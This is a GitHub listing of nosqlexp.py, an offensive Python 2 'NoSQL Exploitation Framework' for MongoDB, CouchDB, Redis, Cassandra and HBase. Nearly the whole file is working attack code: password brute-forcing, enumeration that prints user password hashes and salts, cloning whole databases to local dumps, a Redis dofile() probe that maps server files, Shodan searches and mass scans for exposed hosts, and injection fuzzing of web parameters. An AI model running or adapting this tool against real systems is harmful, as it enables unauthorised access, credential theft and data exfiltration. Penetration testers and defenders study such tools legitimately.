forked from torque59/Nosql-Exploitation-Framework
/
nosqlexp.py
985 lines (908 loc) · 31.3 KB
/
nosqlexp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
#!/usr/bin/python
#NoSQL Exploitation FrameWork Copyright 2013 Francis Alexander
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
import warnings
warnings.filterwarnings("ignore")
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("ctype.runtime").setLevel(logging.ERROR)
import requests
from ghost import Ghost
import socket
import sys
import string
import random
import os
import time
import httplib2
import urllib
import pymongo
from pymongo import Connection
import subprocess
import couchdb
import redis
from termcolor import colored
import argparse
import dump
from shodan import WebAPI
from starbase import Connection
import redisdl
from sniff import sniffredis
from sniff import sniffmongo
from sniff import sniffcouch
from pymongo import MongoClient
import json
import threading
import Queue
import cassandra
from cassandra.cluster import Cluster
global target
target =""
global port
global available
global mas
def main():
global available
global target,port # Needed to modify global copy of globvar
global user,passw
global mas
global file_name
mas=False
available=['mongo','couch','redis']
parser = argparse.ArgumentParser(description='Python Nosql Exploitation Framework')
parser.add_argument('-ip','--ip', help='Host to Scan', required=True)
parser.add_argument('-port','--port', help='Port', required=False)
parser.add_argument('-scan', '--scan',help='Scan', required=False, action='store_true')
parser.add_argument('-enum','--enum', help='Enumerate DBs,Specify mongo,couch,redis', required=False)
parser.add_argument('-dict','--dict', help='Dictionary Attack ==> mongo', required=False)
parser.add_argument('-file','--file', help='Dictionary file name', required=False)
parser.add_argument('-clone','--clone', help="Clone's DB", required=False)
parser.add_argument('-sniff','--sniff', help="Sniff on Couch DB", required=False)
parser.add_argument('-shodan','--shodan', help="Shodan Search Specify port number", required=False)
parser.add_argument('-auth','--auth', help="Authenticate -> username:password", required=False)
parser.add_argument('-webapp','--webapp', help="Scan Web App", required=False)
parser.add_argument('-url','--url', help="URL Name", required=False)
parser.add_argument('-mass','--mass', help="Mass Scanner", required=False)
parser.add_argument('-filecheck','--filecheck', help="System File Enumerator", required=False)
args = vars(parser.parse_args())
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
target = args['ip']
port = args['port']
url=args['webapp']
file_name=args['file']
host_up(target)
if args['mass'] in available :
if args['file']:
mas=True
mass_scan(args['mass'],args['file'])
else:
print colored("[-] Plse specify File name \n",'red')
if args['webapp']:
web_app_attack(url)
if args['filecheck']=='redis':
redis_file_enum()
if args['scan']:
scan_db(target)
if args['shodan']:
shodan_frame(args['shodan'])
if args['sniff']=='mongo':
sniffmongo.sniff_mongo()
if args['sniff']=='redis':
sniffredis.sniff_redis()
if args['sniff']=='couch':
sniffcouch.sniff_couch()
if args['clone'] == 'couch':
clone_couch(target)
if args['clone'] == 'redis':
clone_redis(target)
if args['dict'] == "mongo":
if port:
pass
else:
port = 27017
file_name = args['file']
brute_mongo(file_name,target,port)
elif args['dict'] == "couch":
if port:
pass
else:
port = 5984
file_name = args['file']
brute_couch(file_name,target,port)
elif args['dict'] == "redis":
if port:
pass
else:
port = 6379
file_name = args['file']
brute_redis(file_name,target,port)
if args['enum'] == 'mongo':
if port:
pass
else:
port = 27017
mongo_web_scan(target)
try:
conn = pymongo.MongoClient(target,27017)
mongo_enum(conn)
except:
print colored("[-] MongoDB port closed. \n",'red')
if args['enum'] == 'couch':
couch=couch_conn(target)
couch_enum(couch)
if args['enum'] == 'redis':
if port:
pass
else:
port = 6379
r_server=redis_conn(target,port)
redis_enum(r_server)
if args['enum'] == 'cassandra':
if port:
pass
else:
port = 9160
cassa_enum()
if args['enum'] == 'hbase':
if port:
pass
else:
port = 8080
hbase_enum(port)
def clone_couch(target):
if not os.path.exists("dump"):
os.makedirs("dump")
elif not os.path.exists("dump/couchdb"):
os.makedirs("dump/couchdb")
print colored("[-] Clone Module For NoSQL Framework Launched ..",'blue')
couch = couch_conn(target)
for db in couch:
print colored("[-]%s"%(db),'green')
print colored('[-] Enter Database to clone','blue')
try:
db_clone = raw_input()
file = open("./dump/couchdb/"+str(target)+"."+db_clone+".dump","w")
dump.dump_db("http://"+target+":5984/"+db_clone,output=file)
print colored("[-] Cloning Succesfull with DB %s"%db_clone,'green')
except couchdb.http.ResourceNotFound:
print colored("[-] Plse Check DB Name '%s' not in List"%db_clone,'red')
def clone_redis(target):
if not os.path.exists("dump"):
os.makedirs("dump")
elif not os.path.exists("dump/redis"):
os.makedirs("dump/redis")
print colored("[-] Clone Module For NoSQL Framework Launched ..",'blue')
try:
content=redisdl.dumps(str(target),6379)
file = open("./dump/redis/"+str(target)+".rdb","w")
file.write(content)
file.close()
print colored("[-] Dumped Successfully Find the logs @ ./dump/redis/"+target+".rdb",'green')
except redis.exceptions.ResponseError:
print colored("[-] Authentication Required \n",'red')
choice=raw_input(colored("[-] Do u want to enter a password \n",'yellow'))
if choice.lower()=='y':
passw=raw_input(colored("[-] Enter the password ",'green'))
content=redisdl.dumps(str(target),6379,passw)
file = open("./dump/redis/"+str(target)+".rdb","w")
file.write(content)
file.close()
print colored("[-] Dumped Successfully Find the logs @ ./dump/redis/"+target+".rdb\n",'green')
else:
print colored("[-] Dump Failed \n",'red')
def brute_mongo(file_name,target,port):
print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')
conn = mongo_conn(target,port)
db = conn['admin']
try:
file = open(file_name,"r")
lines = file.read().split('\n')
for names in lines:
try:
db.authenticate(names.split(':')[0],names.split(':')[1])
print colored("[-] Auth Succeeded with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'green')
break
except pymongo.errors.OperationFailure:
print colored("[-] Auth Failed with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'red')
except Exception,e:
print colored(str(e),'red')
def brute_couch(file_name,target,port):
print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')
url = "http://"+target+":"+str(port)+"/_session"
try:
file = open(file_name,"r")
lines = file.read().split('\n')
for names in lines:
payload={'name':str(names.split(':')[0]),'password':str(names.split(':')[1])}
code = requests.post(url,data=payload)
if code.status_code == 200:
print colored("[-] Auth Succeeded with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'green')
break
else:
print colored("[-] Auth Failed with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'red')
except Exception,e:
print colored(str(e),'red')
def brute_redis(file_name,target,port):
print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')
r_server = redis_connb(target,port)
try:
file = open(file_name,"r")
lines = file.read().split('\n')
for names in lines:
try:
r_server.execute_command('AUTH',names.split(':')[1])
print colored("[-] Auth Succeeded with Password %s"%(names.split(':')[1]),'green')
break
except redis.exceptions.ResponseError:
print colored("[-] Auth Failed with Password %s"%(names.split(':')[1]),'red')
except Exception,e:
print colored(str(e),'red')
def host_up(target):#Checks Whether the Host is Up or Not
response = os.system("ping -c 1 -w2 " + target + " > /dev/null 2>&1")
if response == 0:
return True
else:
print colored("\n[-]"+target+' is down! or Invalid Host Address\n','red')
print "[-] Exiting.. "
sys.exit()
def mass_scan(db_type,file_name):
n=[]
#File format is IP lists in order
if db_type=='mongo':
files=open(file_name,'r')
lines=files.readlines()
for i in lines:
mongo_conn(i.strip('\n'),27017)
if db_type=='couch':
files=open(file_name,'r')
lines=files.readlines()
for i in lines:
couch_conn(i.strip('\n'),5984)
if db_type=='redis':
files=open(file_name,'r')
lines=files.readlines()
for i in lines:
n.append(i.strip('\n'))
manyurls(n)
#def hbase_conn(target,port):
def mongo_conn(target,port):
try:
conn = Connection(target,int(port))
if mas==True:
print colored("[-] MongoDB port open on " + target + ":27017!",'green')
else:
print colored("[-] MongoDB port open on " + target + ":27017!",'green')
return conn
except pymongo.errors.ConnectionFailure:
#print colored(str(e),'red')
if mas==True:
print colored("[-] MongoDB port closed. \n",'red')
else:
print colored("[-] MongoDB port closed. \n",'red')
sys.exit()
def couch_conn(target):
try:
couch = couchdb.Server('http://%s:5984/'%(target))
try:
check = couch.version()# Makes sure that the Connection is really established
return couch
except couchdb.http.Unauthorized:
print colored("\n[-] Couch Basic Auth Detected \n",'red')
print colored("[-] Try Supplying with Credentials \n",'red')
sys.exit(0)
return couch
except socket.error:
print colored("[-] CouchDB port closed. \n",'red')
sys.exit()
class BinaryGrab(threading.Thread):
"""Threaded Url Grab"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
url = self.queue.get()
redis_conn(url)
#Scan targets here
#signals to queue job is done
self.queue.task_done()
def manyurls(server_addr):
querange = len(server_addr)
queue = Queue.Queue()
#spawn a pool of threads, and pass them queue instance
for i in range(int(querange)):
t = BinaryGrab(queue)
t.setDaemon(True)
t.start()
#populate queue with data
for target in server_addr:
queue.put(target)
#wait on the queue until everything has been processed
queue.join()
def redis_conn(target,port=6379):
try:
r_server = redis.Redis(target,port)
if mas==True:
s=r_server.info()
print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')
else:
check = r_server.keys() # Makes sure that the Connection is really established
popen = "[-] RedisDB port open on " + target + ":6379! \n"
return r_server
except redis.exceptions.InvalidResponse:
print colored("[-] RedisDB Port Closed on "+ target + ":6379! \n",'red')
except redis.exceptions.ResponseError:
if mas==True:
print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')
else:
print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')
print popen
return r_server
except redis.exceptions.ConnectionError:
print colored("[-] RedisDB Port Closed on %s:6379! \n"%(target),'red')
if mas==True:
pass
else:
sys.exit()
def cassa_enum():
cluster = Cluster([target])
print colored("[-] Cassandra Server Version\n",'blue')
session = cluster.connect()
row = session.execute('SELECT release_version,thrift_version from system.local')
print colored("[-] Release Version %s \n[-] Thrift Version %s \n"%(row[0][0],row[0][1]),'green')
print colored("[-] Listing KeySpaces",'blue')
i=0
row = session.execute("select * from system.schema_keyspaces;")
while i<len(row):
print colored("\t [-] "+row[i][0],'green')
i=i+1
print "Would Like to Enumerate the KeySpaces (y/n)"
choice=raw_input()
if choice == 'y':
print colored("[-] Enter KeySpace to enumerate from ",'blue')
keyspace=raw_input()
try:
row = session.execute("USE %s"%(keyspace))
except cassandra.InvalidRequest:
print colored("[-] Invalid Keyspace \n",'red')
sys.exit(0)
table = session.execute("select columnfamily_name from system.schema_columns where keyspace_name='%s' limit 1"%(keyspace))
print colored("[-] Table Name ",'blue')
j=0
while j < len(table):
print "\t[-] "+table[j][0]
j=j+1
column = session.execute("select * from %s"%(str(table[0][0])))
print colored("[-] Column Names : ",'blue')
for i in column[0]._fields:
print "\t[-] "+i
print colored("[-] Dump Data (y/n)",'blue')
column.sort()
if raw_input()=='y':
print "---------------------------------------------------------------------"
for i in column[0]._fields:
print i+"\t",
i=0
print "\n"
print "----------------------------------------------------------------------"
while i<len(column):
k=0
for j in column[i]:
if k!=len(column[i])-1:
print j+"\t",
else:
print "\t"+j,
k=k+1
print "\n"
i=i+1
def redis_file_enum():
r_server=redis_connb(target,6379)
r_server.execute_command('auth','admin')
file=open(file_name,'r')
lines=file.readlines()
for i in lines:
try:
test=i.split('\n')[0]
evals="dofile('%s')"%test
r_server.eval(evals,0)
except Exception,e:
if "No such file or directory" in str(e) and test[len(test)-1] != '/':
print colored("[-] File Not Found " + "'%s'"%(test),'red')
elif test[len(test)-1] == '/' and "No such file or directory" in str(e):
print colored("[-] Directory Not Found " + "'%s'"%(test),'red')
else:
print colored("[+] File Found "+test,'green')
else:
print "unknown"
def redis_connb(target,port):
try:
r_server = redis.Redis(target,port)
#check = r_server.keys() # Makes sure that the Connection is really established
popen = "[-] RedisDB port open on " + target + ":6379! \n"
return r_server
except redis.exceptions.ConnectionError:
print colored("[-] RedisDB Port Closed \n",'red')
sys.exit()
def scan_db(target):
mong = False
cou = False
red = False
print colored("\n[!] Scanning Module For NoSQL Framework Launched..... \n",'green')
time.sleep(2)
try:
conn = Connection(target,27017)
popen = "[-] MongoDB port open on " + target + ":27017!\n"
print colored(popen,'green')
mong= True
except:
print colored("[-] MongoDB port closed. \n",'red')
try:
couch = couchdb.Server('http://%s:5984/'%(target))
check = couch.version()# Makes sure that the Connection is really established
popen = "[-] CouchDB port open on " + target + ":5984!\n"
print colored(popen,'green')
cou = True
except socket.error:
print colored("[-] CouchDB port closed. \n",'red')
try:
r_server = redis.Redis(target)
check = r_server.keys() # Makes sure that the Connection is really established
popen = "[-] RedisDB port open on " + target + ":6479! \n"
print colored(popen,'green')
red = True
except redis.exceptions.ConnectionError:
print colored("[-] RedisDB Port Closed \n",'red')
except redis.exceptions.ResponseError:
popen = "[-] RedisDB port open on " + target + ":6479! \n"
print colored(popen,'green')
"""try:
h_base = Connection(host=target, port=8080)
print colored("[-] H-Base DB port open on " + target + ":8080! \n","green")
except:
print colored("[-] H-Base DB port closed ",'red')
"""
if red == False and cou == False and mong == False:
print colored("No DB Ports Open ",'red')
def hbase_enum(port):
print colored("\n[!] Enumeration Module For NoSQL Framework H-Base Launched.....",'yellow')
print colored("[-] Enumerating Cluster Version and Cluster Status",'blue')
try:
c = Connection(target,port)
print colored("[-] Cluster Version: %s"%(str(c.cluster_version)),'green')
v=c.cluster_status
print colored("[-] Cluster Status ",'green')
for key, value in v.iteritems() :
print colored("\t [-] "+str(key)+":"+str(value),'green')
print colored("[-] Enumerating JVM and Box Details",'blue')
for key,value in c.version.iteritems():
print colored("\t[-] "+str(key)+":"+str(value),'green')
print colored("[-] Tables Available",'blue')
for i in c.tables():
print colored("\t[-] "+i,'green')
print colored("Would you like to enumerate columns",'blue')
choice=raw_input()
if choice=='y':
tab=raw_input(colored("[-] Enter tables name ",'blue'))
if tab in c.tables():
print colored("[-] Enumerating Columns",'blue')
t=c.table(tab)
for i in t.columns():
print colored("\t[-] "+str(i),'green')
else:
print colored("[-] No such table Exists ",'red')
except Exception,e:
print colored("[-] Error Occured while connection %s "%(str(e)),'red')
def couch_enum(couch):
further = True
print colored("\n[!] Enumeration Module For NoSQL Framework Couchdb Launched.....",'yellow')
print colored("\n[-] Couch Version : "+ couch.version(),'green')
print colored("\n[!] Retrieving Couchdb Users\n",'blue')
parse = requests.get("http://"+target+":5984/_users/_all_docs")
j = json.loads(parse.text)
if len(j['rows'])== 1:
print colored("[-] No Users Found !! \n",'blue')
print colored("[-] Looks Like We have Admin Party. DO the Hula Bula Dance \n",'green')
#sys.exit(0)
else:
for i in range(1,len(j)+1):
print colored("[-] "+str(j['rows'][i]['id']),'green')
print colored("\t[!] Hashes Obtained",'green')
det = requests.get("http://"+target+":5984/_users/"+str(j['rows'][i]['id']))
json_couch = json.loads(det.text)
try:
print colored("\t[-] Password Sha:" + str(json_couch['password_sha']),'green')
print colored("\t[-] Salt:" + str(json_couch['salt']),'green')
except KeyError:
print colored("\t[-] Password Sha: Nil" ,'green')
print colored("\t[-] Salt: Nil" ,'green')
try:
print colored("\n[!] Enumerating DB's \n",'blue')
for db in couch:
print colored("\t[-] %s"%(db),'green')
time.sleep(2)
except couchdb.http.Unauthorized:
print colored("[-] The DB requires Credentials or Wrong Credentials :( \n",'red')
further = False
if further != False:
print colored("\n\n[!] Trying to Retrieve CouchDB Configs\n",'green') #Parsing needed to be added
try:
for key, value in couch.config().iteritems() :
print key,value
except couchdb.http.Unauthorized:
print colored("[-] Oops Looks Like u need Credentials \n",'red')
username,password=auth_req('couch')
couch.resource.credentials = (username,password)
couch_enum(couch)
def auth_req(db):
if db!='redis':
print colored("[-] Enter username",'green')
username=raw_input()
print colored("[-] Enter password",'green')
password=raw_input()
return username,password
else:
print colored("[-] Enter password",'green')
password=raw_input()
return password
def redis_enum(r_server):
count=1
print colored("\n[!] Enumeration Module For NoSQL Framework Redisdb Launched.....",'yellow')
try:
s=r_server.info()
print colored("\n[+] Redis Version : %s"%(s['redis_version']),'blue')
print colored("\n[!] Enumerating Redis Keys \n",'blue')
for i in r_server.keys():
print colored("[-]"+i,'green')
print colored("\n[!] Geting Key Details \n",'blue')
for i in r_server.keys():
if r_server.type(i)=='list':
if count == 1:
print colored("[-] Lists identified Which May Contain Huge Data. Do u wish to display (y/n)",'green')
if raw_input()=='y':
for j in r_server.lrange(i,0,-1):
print colored("[-] "+j,'green')
else:
break
count = count + 1
else:
for j in r_server.lrange(i,0,-1):
print colored("[-] "+j,'green')
elif r_server.type(i)=='hash':
if count == 1:
print colored("[-] Hashes identified Which May Contain Huge Data. Do u wish to display (y/n)",'green')
if raw_input()=='y':
for j in r_server.hgetall(i):
print colored("[-] "+j,'green')
else:
break
count = count + 1
else:
for j in r_server.hgetall(i):
print colored("[-] "+j,'green')
else:
print colored("'%s'"%i+":"+r_server.get(i)+"\n",'green')
except redis.exceptions.ResponseError:
print colored("[-] Auth Required",'red')
print colored("[-] Do you want to provide Credentials [y/n] ",'red')
choice=raw_input()
if choice.lower()=='y':
password = auth_req('redis')
try:
r_server.execute_command('AUTH',password)
redis_enum(r_server)
except Exception,e:
print colored("[-] "+str(e),'red')
else:
pass
def mongo_web_scan(target):
try:
url = 'http://'+target+':28017'
code = requests.get(url)
if code.status_code == 200:
print colored("[-] MongoDB web management open at " + url + ". No authentication required!",'blue')
elif code.status_code==401:
print colored("[-] MongoDB web management Open at " + url + ". Authentication required!",'blue')
print colored("[-] Try Supplying credentials using the Auth option",'blue')
print colored("[-] Do you Want to Take a ScreenShot of the Page (y/n)",'yellow')
choice=raw_input()
if choice.lower()=='y':
screenshot(url,target)
else:
pass
else:
print colored("[-] Web Interface Not Open",'red')
except Exception,e:
print str(e)
def screenshot(url,target):
ghost = Ghost(wait_timeout=4)
print "Do u want to provide any credentials \n"
choice=raw_input()
if choice.lower()=='y':
print colored("[-] Enter Username and Password ",'green')
username=raw_input()
password=raw_input()
ghost.open(url,auth=(username,password))
ghost.capture_to(str(time.time())+'.png')
os.system('mv *.png ./screenshots')
print colored("[-] Screenshot Succesfull catpured and Saved @ %s/screen.png"%(os.getcwd()),'green')
else:
pass
def couch_web_attack():
print "[-] Identifying Potential Vulnerabilities for Couch DB"
def base_req_len(url):
"""base_req = selected_param
base_req += "a" """
response=requests.get(url)
len_base=len(response.content)
return len_base
"""def analyze_response(url):
res = requests.get(url)
html = res.content
re.findall('(ascii)',html)
print colored("[-] Reflecting Parameters found \n ",'green')
"""
def web_app_attack(url):
print colored("[-] Identifying Web APP Vulnerabilitties ",'green')
params = url.split('?')[1].split('&')
base_url=url.split("?")[0]
print colored("[-] Identifyied Url Params",'green')
for param in params:
print colored("\t[-] %s"%(param),'blue')
print colored("[-] Inject Custom Payload or Auto Load Payload Vectors (c/a)",'green')
choice=raw_input()
if choice=='c':
print colored("[-] Enter Selected Parameter",'green')
selected_param=raw_input()
for param in params:
tmp=param.split('=')[0]
if selected_param==tmp:
needed_param=param
break
else:
print tmp
print colored("[-] Parameter %s not available"%(selected_param),'red')
sys.exit(0)
print colored("[-] Enter Custom payload \n",'green')
payload = raw_input()
print colored("[-] Appending Payload to Parameter",'green')
selected_param+="="
len_base=base_req(base_url,selected_param)
selected_param+=payload
response=requests.get(base_url+"?"+selected_param)
print colored("[-] Time Elapsed for the request : %s\n"%(response.elapsed),'green')
print colored("[-] Checking Length of Base Payload Request withs Custom Payload Request \n",'yellow')
custom_len = len(response.content)
diff_len=custom_len-len_base
print colored("[-] Page showed a Base Difference of %d bytes"%(custom_len-len_base),'green')
if (diff_len>100):
print colored("[-] Custom Payload Huge Difference.Try checking the page manually \n",'yellow')
elif diff_len == len(payload):
print colored("[-] Looks Like Payload Reflected Back\n.Plse check Manually \n",'green')
elif choice=='a':
len_base=base_req_len(url)
print colored("[-] Taking Auto Payload List \n",'green')
mongo_web(url,base_url)
couch_web(url,base_url)
"""
file=open(file_list[0],'r')
lines = file.read().split('\n')
selected_param+="="
sel_new=selected_param
for payload in lines:
selected_param=sel_new
selected_param+=payload
response=requests.get(base_url+"?"+selected_param)
print colored("[-] Checking with %s"%(base_url+"?"+selected_param),'yellow')
time=response.elapsed
resp_len=len(response.content)-len_base
if resp_len > 100:
print colored("[-] Payload Returned with Huge Difference in Page.Try checking the page manually ",'green')
print colored("Url : "+base_url+"?"+selected_param+"\n",'blue')
print colored("[-] Total Time Elapsed for the Requests : %s\n"%(time),'green') """
def return_params(url):
original_param=[]
param=""
params = url.split('?')[1].split('&')
base_url=url.split("?")[0]
"""print colored("[-] Identifyied Url Params",'green')
for param in params:
print colored("\t[-] %s"%(param),'blue')"""
for param in params:
original_param.append(param.split('=')[0])
return original_param
def js_inject(url,base_url):
i=j=0
param=parameter=""
respond=False
params=return_params(url)
base_len=len(requests.get(url).content)
print "Base Request Took %d Bytes"%(base_len)
file=open('payload/js_inject.txt','r')
lines = file.read().split('\n')
while(i<len(lines)):
j=1
for param in params:
if (j==len(params)):
parameter+=param+"="+lines[i]
else:
parameter+=param+"="+lines[i]+"&"
j=j+1
response=requests.get(base_url+"?"+parameter)
check_len=len(response.content)
print colored("[-] Checking %s"%(base_url+"?"+parameter),'yellow')
print "\t [-] Request Took %d Bytes"%(check_len)
resp_len=len(response.content)-base_len
#print resp_len
if resp_len < 0:
#resp=analyze_response(url)
resp=False
if(resp==True):
print colored("[-] Page Didnt Respond Normally to query",'red')
respond=True
if abs(resp_len) >=50:
print colored(" \t [-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')
print colored("\t [-] Check Url : "+base_url+"?"+parameter+"\n",'blue')
respond=True
i=i+1
parameter=""
if respond==False:
print colored("\n[-] Page Showed Zero Difference with Payload List \n",'red')
def mongo_web(url,base_url):
i=j=0
param=parameter=""
respond=False
params=return_params(url)
base_len=len(requests.get(url).content)
file=open('payload/payload_mongo.txt','r')
lines = file.read().split('\n')
if len(param) > 1:
print colored("Multiple Params Detected.Checking ..",'blue')
while(i<len(lines)):
j=1
for param in params:
if (j==len(params)):
parameter+=param+lines[i]+"=blah"
else:
parameter+=param+lines[i]+"=blah&"
j=j+1
response=requests.get(base_url+"?"+parameter)
#print colored("[-] Checking %s"%(base_url+"?"+parameter),'yellow')
resp_len=len(response.content)-base_len
if resp_len < 0:
print colored("[-] Page Didnt Respond Normally to query",'red')
respond=True
if resp_len >=3:
print colored("[-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')
print colored("Check Url : "+base_url+"?"+parameter+"\n",'blue')
respond=True
i=i+1
parameter=""
print colored("[-] Checking for Javascript injection attacks \n",'green')
js_inject(url,base_url)
if respond==False:
print colored("\n[-] Page Showed Zero Difference with Payload List \n",'red')
def couch_web(url,base_url):
print colored("\n[-] Checking for Couch Attacks \n",'green')
i=j=0
param=parameter=""
respond=False
params=return_params(url)
base_len=len(requests.get(url).content)
file=open('payload/payload_couch.txt','r')
lines = file.read().split('\n')
if len(param) > 1:
print colored("Multiple Params Detected.Checking ..",'blue')
while(i<len(lines)):
j=1
for param in params:
if (j==len(params)):
parameter+=param+"="+lines[i]
else:
parameter+=param+"="+lines[i]+"&"
j=j+1
response=requests.get(base_url+"?"+parameter)
resp_len=len(response.content)-base_len
if resp_len < 0:
print colored("[-] Page Didnt Respond Normally to query",'red')
respond=True
if resp_len >=3:
print colored("[-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')
print colored("Check Url : "+base_url+"?"+parameter+"\n",'blue')
respond=True
i=i+1
parameter=""
if respond==False:
print colored("\n[-] Page Showed Zero Difference with Payload List \n",'red')
def shodan_frame(port):
# Currently Supports query based on port Filter only and Displays Corresponding IP
print colored("\n[!] Shodan Search Module For NoSQL Framework Launched.....",'yellow')
api = WebAPI("API KEY GOES HERE")
if port == 5984:
query='{"couchdb":"Welcome","version":""}'
else:
query='port:%s'%(port)
result = api.search(query)
print colored("[-] Would Like to write the Results to a File",'green')
choice=raw_input()
if choice.lower()=='y':
file=open('shodan-%s.txt'%(port),'w')
for host in result['matches']:
file.write(host['ip']+"\n")
print colored('[-] File to %s/shodan-%s.txt'%(os.getcwd(),port),'green')
file.close()
else:
print colored("[-] Printing Found IP \n",'blue')
for host in result['matches']:
print colored("[-] "+host['ip'],'green')
def mongo_enum(conn):
further = True
print colored("[*] Server Info: \n",'yellow')
serverInfo = conn.server_info()
for keys in serverInfo:
print colored("[-]"+(keys)+":"+str(serverInfo[keys]),'green')
print "\n"
try:
print colored("List of databases:",'blue')
dbList = conn.database_names()
for i in dbList:
print colored("[-]"+i,'green')
print "\n"
except:
print colored("[-] Error:Couldn't list databases.Credentials Required",'red')
print colored("[-] Would You Like to Enter the Credentials ",'green')
choice=raw_input()
if choice.lower()=='y':
username=raw_input(colored("[-] Enter Username ",'green'))
password=raw_input(colored("[-] Enter Password ",'green'))
db = conn['admin']
try:
db.authenticate(username,password)
mongo_enum(conn)
except pymongo.errors.OperationFailure:
print colored("[-]Authentication Failed ",'red')
else:
pass
further = False
if further:
print colored("List of collections:",'blue')
try:
for dbItem in dbList:
db = conn[dbItem]
colls = db.collection_names()
print dbItem + ":"
for i in colls:
print colored("[-]"+i,'green')
if 'system.users' in colls:
users = list(db.system.users.find())
print colored("Database Users and Password Hashes:",'blue')
print colored("[-]"+str(users),'green')
except pymongo.errors.AutoReconnect:
print colored("Looks Like Slaveok is Set to False\n ",'red')
print colored("[-] Renabling with slaveok= true",'green')
#db.slave_okay=True
for dbItem in dbList:
db = conn[dbItem]
db.slave_okay=True
colls = db.collection_names()
print dbItem + ":"
if len(colls)==0:
print colored("[-] Empty",'green')
else:
for i in colls:
print colored("[-]"+i,'green')
if 'system.users' in colls:
users = list(db.system.users.find())
print colored("Database Users and Password Hashes:",'blue')
print colored("[-]"+str(users),'green')
except:
print colored("[-] Error:Couldn't list databases.Credentials Required",'red')
main()